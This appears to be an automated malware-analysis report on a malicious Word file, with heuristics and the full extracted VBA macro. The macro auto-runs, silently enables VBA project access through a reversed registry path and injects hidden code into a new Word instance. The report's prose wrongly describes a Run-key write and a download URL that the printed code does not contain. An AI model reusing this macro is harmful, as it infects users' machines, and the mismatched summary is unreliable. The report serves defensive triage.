Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 81c8846de0e681d5…

MALICIOUS

Office (OOXML)

76.0 KB Created: 2021-05-04 08:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 6bc60aea074814d15b51f790465a39a0 SHA-1: 6a9d8a9a8d9cbf93884f0dbdcc2995ae852d1f26 SHA-256: 81c8846de0e681d54f59effb76a093a466c4b34e37c95ca9d36d9255b6f6dcd4
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains a VBA macro with an AutoOpen subroutine that utilizes WScript.Shell and CreateObject to execute code. The script attempts to write a registry value to 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy', likely to establish persistence. The macro also constructs a URL by reversing strings, which is then used to download and execute a payload. The obfuscation technique of reversing strings is noted.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub varLinkClass(rightBufCaption)
With CreateObject("wscript.shell")
.RegWrite rightBufCaption, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub selectCollection(localLen As String)
Set memVar = CreateObject("word.application")
With memVar.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "buttonLib"
Sub autoopen()
exceptionPtrGlobal
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1743 bytes
SHA-256: f5daf8f10471543a59a9e05c0bdcd6946783b43e6ac4c9f5d31f821496fc2caa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{48A25CA1-9C2B-45BD-B5C0-8DF47DE0412C}{D303F0BF-181C-43E1-8D95-8E27A78DD3F9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "buttonLib"
Sub autoopen()
exceptionPtrGlobal
Dim windowRepoText As String
windowRepoText = procedurePasteW
selectCollection windowRepoText
End Sub

Attribute VB_Name = "constTitle"
Sub selectCollection(localLen As String)
Set memVar = CreateObject("word.application")
With memVar.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString localLen
End With
memVar.Visible = False
memVar.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "convertVb"
Function textboxIndexMemory() As String
textboxIndexMemory = Application.Version
End Function
Sub varLinkClass(rightBufCaption)
With CreateObject("wscript.shell")
.RegWrite rightBufCaption, 1, "REG_DWORD"
End With
End Sub
Sub exceptionPtrGlobal()
rightBufCaption = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
pointerIndexVb = textboxIndexMemory
responseProc = StrReverse("MOBVsseccA\ytiruceS\droW\")
varLinkClass rightBufCaption & pointerIndexVb & responseProc
End Sub
Function procedurePasteW()
procedurePasteW = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 685ddde583d344e600824bf850588401bc2a3446dcf6f7cd5ec1e38e5e787c64
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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